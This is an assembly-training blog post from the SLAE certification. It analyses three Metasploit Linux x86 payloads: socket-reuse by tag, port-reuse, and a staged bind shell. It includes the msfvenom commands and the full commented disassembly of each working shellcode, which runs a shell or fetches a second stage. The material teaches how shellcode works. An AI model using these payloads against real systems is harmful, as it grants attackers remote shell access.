SLAE – Assignment #5: Metasploit Shellcode Analysis
Table of Contents
Assignment #5: Metasploit Shellcode Analysis
Fifth SLAE’s assignment requires to dissect and analyse three different Linux x86 Metasploit Payload.
Metasploit currently has 35 different payloads but almost half of it are Meterpreter version, thus meaning staged payloads. I’ve then decided to skip meterpreter payloads as they involve multiple stages and higher complexity that will break libemu graph generation (which I find very useful to better explain shellcode’s operations).
In this blog we are going to analyse the following shellcodes:
- linux/x86/shell_find_tag
- linux/x86/shell_find_port
- linux/x86/shell/bind_nonx_tcp
As always, all the code is also available on GitHub.
shell_find_tag Analysis:
Spawn a shell on an established connection (proxy/nat safe)
Shellcode Generation:
msfvenom -p linux/x86/shell_find_tag --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-find-tag.dot && dot shell-find-tag.dot -T png > shell-find-tag.png
Libemu Graph
Not being completely sure that libemu had understood correctly our shellcode, I’ve also dumped it in a file for further inspection:
msfvenom -p linux/x86/shell_find_tag --platform linux -a x86 | ndisasm -u - > shell-find-tag.nasm
Libemu is great but it was missing a 3rd block of “code” after the “recv” loop, I’ve then analysed the dumped ASM shellcode, providing in-line comments:
; Paolo Stagno aka [VoidSec](https://voidsec.com) ; SLAE-1511 xor ebx,ebx ; zeroing out EBX = 0 push ebx ; push 0 on stack mov esi,esp ; store current stack pointer to ESI push byte +0x40 ; push MSG_DONTWAIT flag on the stack mov bh,0xa ; load 10 in BH push ebx ; push EBX (0x0a00) on the stack, length argument push esi ; push ESI value (pointer to our buffer) push ebx ; push EBX (0x0a00) mov ecx,esp ; store current stack pointer in ECX (pointer to function argument) xchg bh,bl ; exchange BL and BH (0x0a goes into BL) SYS_RECV socketcall loop_lbl: ; loop_lbl inc word [ecx] ; increment file descriptor value, used in the loop to go to the "next" socket connection push byte +0x66 ; push 0x66 (socketcall number) on the stack pop eax ; pop 0x66 in EAX (socketcall systemcall) int 0x80 ; execute socketcall systemcall cmp dword [esi],0x616f6b51 ; compare the received value with "aokQ" tag jnz 0x10 ; if the value does not match we go back to loop_lbl ; we found our tag dup_loop_lbl: ; dup_loop_lbl pop edi ; pop sockfd into EDI mov ebx,edi ; save sockfd value in EBX for our dup2 call push byte +0x2 ; push 2 on the stack (that will be used to perform 3 iterations in dup2 2,1,0) pop ecx ; load the pushed 2 in ECX dup_loop_lbl: ; dup_loop_lbl push byte +0x3f ; push dup2 syscall value in the stack pop eax ; load dup2 syscall value in EAX int 0x80 ; execute dup2 systemcall dec ecx ; decrement our counter (From 2 to 0 stdin, stdout and stderr..) jns 0x26 ; if we didn't reach the end (-1) we loop bak to our dup_loop_lbl ; Execve push byte +0xb ; psuh 11 on the stack pop eax ; load 11 in EAX (execve sustemcall value) cdq ; zeroing out EDX = 0 push edx ; EDX will act as null string terminator push dword 0x68732f2f ; hs// push dword 0x6e69622f ; nib/ mov ebx,esp ; load a pointer to /bin//sh in EBX push edx ; push the null function argument to EDX push ebx ; push /bin//shNULL pointer to EBX mov ecx,esp ; move pointer to /bin//shNULL into ECX int 0x80 ; execute execve systemcall and pop our shell
The shell_find_tag shellcode is a socket-reuse payload who will search through all the open connections (sockets), searching for a specific tag (“aokQ” in our case) and, if the tag is found, it will spawn a shell on the connection.
shell_find_port Analysis:
Spawn a shell on an established connection
Shellcode Generation:
msfvenom -p linux/x86/shell_find_port --platform linux -a x86 | ndisasm -u - > shell-find-port.nasm msfvenom -p linux/x86/shell_find_port --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-find-port.dot && dot shell-find-port.dot -T png > shell-find-port.png
Libemu Graph
And here the in-line comment and analysis:
; Paolo Stagno aka [VoidSec](https://voidsec.com) ; SLAE-1511 xor ebx,ebx ; zeroing out EBX = 0 push ebx ; push 0 on stack mov edi,esp ; store current stack pointer to EDI push byte +0x10 ; push address lenght on the stack push esp ; push pointer too address length on the stack push edi ; push pointer to push ebx ; sockfd to start to search mov ecx,esp ; move current stack pointer to ECX mov bl,0x7 ; load 0x7 SYS_GETPEERNAME value in BL loop_lbl: ; loop_lbl inc dword [ecx] ; increment file descriptor used in the loop to go to the "next" socket connection push byte +0x66 ; push 0x66 (socketcall number) on the stack pop eax ; pop 0x66 in EAX (socketcall systemcall) int 0x80 ; execute socketcall systemcall cmp word [edi+0x2],0x4271 ; compare the socket source port with "28994" little endian value jnz 0xe ; if the value does not match we go back to loop_lbl ; source port match dup_loop_lbl: ; dup_loop_lbl pop ebx ; pop sockfd into EBX push byte +0x2 ; push 2 on the stack (that will be used to perform 3 iterations in dup2 2,1,0) pop ecx ; load the pushed 2 in ECX mov al,0x3f ; push dup2 syscall value in AL int 0x80 ; execute dup2 systemcall dec ecx ; decrement our counter (From 2 to 0 stdin, stdout and stderr..) jns 0x21 ; if we didn't reach the end (-1) we loop bak to our dup_loop_lbl ; Execve push eax ; EAX should now be 0 push dword 0x68732f2f ; hs// push dword 0x6e69622f ; nib/ mov ebx,esp ; load a pointer to /bin//sh in EBX push eax ; push the null function argument to EAX push ebx ; push /bin//shNULL pointer to EBX mov ecx,esp ; move pointer to /bin//shNULL into ECX cdq ; zeroing out EAX = 0 mov al,0xb ; move pointer to /bin//shNULL into ECX int 0x80 ; execute execve systemcall and pop our shell
The shell_find_port shellcode is a port-reuse payload who will search for an already established connection, searching for a source port (28994 in our case) and, if the value, it will spawn a shell over that connection.
bind_nonx_tcp Analysis:
Spawn a command shell (staged). Listen for a connection
Shellcode Generation:
msfvenom -p linux/x86/shell/bind_nonx_tcp --platform linux -a x86 | ndisasm -u - > bind-nonx-tcp.nasm msfvenom -p linux/x86/shell/bind_nonx_tcp --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-bind-nonx.dot && dot shell-bind-nonx.dot -T png > shell-bind-nonx.png
Libemu Graph
And here the in-line comment and analysis:
; Paolo Stagno aka [VoidSec](https://voidsec.com) ; SLAE-1511 ;----------- Create Socket ---------------------------- xor ebx,ebx ; zeroing out EBX = 0 push ebx ; pushing 0 on the stack 0 (protocol) inc ebx ; incrementing EBX = 1 push ebx ; pushing 1 on the stack 1 (SOCK_STREAM) push byte +0x2 ; pushing 2 on the stack 2 (AF_INET) push byte +0x66 ; pushing syscall 102 (socketcall) on the stack pop eax ; load syscall 102 in EAX cdq ; clean EDX mov ecx,esp ; load stack pointer to ECX int 0x80 ; execute socketcall systemcall ;----------- Bind the Socket -------------------------- xchg eax,esi ; store the socket file descriptor in ESI inc ebx ; EBX = 2 (BIND) push edx ; push 0 on the stack (INADDR_ANY) push word 0x5c11 ; port 1337 in little endian (PORT) push bx ; 2 AF_INET mov ecx,esp ; store pointer to the structure in ECX push byte +0x66 ; pushing syscall 102 (socketcall) on the stack pop eax ; load syscall 102 in EAX push eax ; use it as sizeof(struct sockaddr_in) push ecx ; &serv_addr push esi ; our socket descriptor mov ecx,esp ; store pointer to arguments in ECX int 0x80 ; execute system call ;----------- Listen socket for incoming connection ---- mov al,0x66 ; load syscall 102 in EAX shl ebx,1 ; increase EBX to 4 for listen function call number int 0x80 ; execute system call ;----------- Accept Connection ------------------------ push edx ; NULL addrlen push edx ; NULL sockaddr push esi ; sockfd inc ebx ; increase sub function number in BL to 5 for accept mov ecx,esp ; store pointer to arguments in ECX mov al,0x66 ; store sys_socketcall system call number in EAX int 0x80 ; execute system call ;----------- Read from file descriptor, 2nd stage ----- xchg eax,ebx ; clean EAX mov dh,0xc ; set size to 3072 bytes mov al,0x3 ; load sys_read system call in AL int 0x80 ; execute system call ;----------- Transfer execution to 2nd stage ----- mov edi,ebx ; store socket file descriptor in edi jmp ecx ; directly jump in ECX that will contain our 2nd stage shellcode
The bind_nonx_tcp shellcode is very similar to the default bind tcp (it has a nice and clever re-use of the registers) shellcode that I’ve analysed during the first SLAE assignment, while the regular shellcode is suitable for systems with data execution prevention (DEP) enabled (as it is using “mprotect” to create an executable buffer), this shellcode omits this step in favour of a smaller size; it indeed, require an executable stack.
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1511